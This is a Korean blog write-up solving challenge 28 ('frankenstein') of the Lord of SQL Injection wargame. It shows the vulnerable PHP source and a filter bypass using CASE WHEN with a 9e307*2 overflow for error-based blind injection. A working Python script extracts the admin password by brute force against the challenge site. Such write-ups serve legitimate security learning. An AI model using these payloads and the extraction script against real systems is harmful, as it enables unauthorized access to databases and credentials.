문제 28번 - frankenstein
query : select id,pw from prob_frankenstein where id='frankenstein' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit("error");
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
highlight_file(__FILE__);
?>
일단 다른 문제들과 마찬가지로 php 코드가 주어져있다.
먼저 필터링함수를 확인하면 prob와 _ , . , ( , ) , union을 필터링하고 i를 통해 대소문자를 구분하지 않는 것을 확인할 수 있다. (union select를 사용하지 못하게 막아놓은 것 같다.)
<?php
if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
?>
clear 조건을 확인해보니 pw를 구해야하는 것을 알 수 있다. pw의 크기를 찾고 파이썬을 통해 pw를 구해야할 것 같다.
<?php
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
highlight_file(__FILE__);
?>
pw를 구하기 위해 코드를 살펴보니 에러가 반환되면 에러문구를 출력하는 코드가 있었다. 즉 error based sql injection을 이용해서 풀라는 것 같다.
<?php
$query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit("error");
?>
error based sql injection 중 무슨 에러를 이용할지 생각하다가 이제까지는 select union 을 이용하였는데 union이 필터링 되므로 다른 방법을 찾아보니 mysql에서 바로 에러를 발생시키는 값을 찾아냈다. 9e307*N의 형식(N은 숫자)을 값을 넘기면 logical error를 발생시켰다. 괄호를 사용하지 못하니 if 보다 case when then else를 사용하였다.
자리수를 찾지 말고 그냥 최대한 돌려보았다.
파이썬에서 사용할 구문은 아래와 같다.
case when id='admin' and pw < '{}%23' then 9e307*2 else 0 end%23".format()
이를 이용하여 파이썬 코드를 작성하였는데 비밀번호 뒤에 이상하게 ///가 계속 붙어서 반복되어서 코드를 한번 수정하였다. (파이썬 작업에서 시간이 꽤 오래 걸렸다 ㅠㅠ)
import requests
url="https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?"
cookie = dict(PHPSESSID="쿠키값")
result=""
hex_result=""
for i in range(1,20):
for j in range(48,127):
query = "pw=1' or case when id='admin' and pw<0x{}{} then 9e307*2 else 0 end%23".format(hex_result,hex(j).split("0x")[1])
URL = url+query
res = requests.get(URL, cookies=cookie)
# if "./config.php" in res.text:
# continue
if res.text.find("<br>error") == -1:
k = 1
if k == 0:
break
elif res.text.find("<br>error") != -1:
result += chr(j-1)
hex_result += hex(j-1).split('0x')[1]
print(result)
k = 0
break
print("pw :",result)
위 코드를 실행시키니 아래 결과가 나왔다. (위 코드에서 k의 의미는 저 쿼리가 에러를 출력하다가 출력하지 않을 때 해당 값 -1이 pw가 되는 것을 알려주는 의미이다.)
따라서 pw는 0DC4EFBB이므로 0dc4efbb를 입력해준다.
solve
https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw=0dc4efbb
'write-up > LOS write-up' 카테고리의 다른 글
LOS (Lord of SQL injection) 문제 30번 ouroboros write-up (0) | 2021.07.14 |
---|---|
LOS (Lord of SQL injection) 문제 29번 phantom write-up (0) | 2021.07.14 |
LOS (Lord of SQL injection) 문제 27번 blue_dragon write-up (2) | 2021.07.13 |
LOS (Lord of SQL injection) 문제 26번 red_dragon write-up (0) | 2021.07.13 |
LOS (Lord of SQL injection) 문제 25번 green_dragon write-up (0) | 2021.07.12 |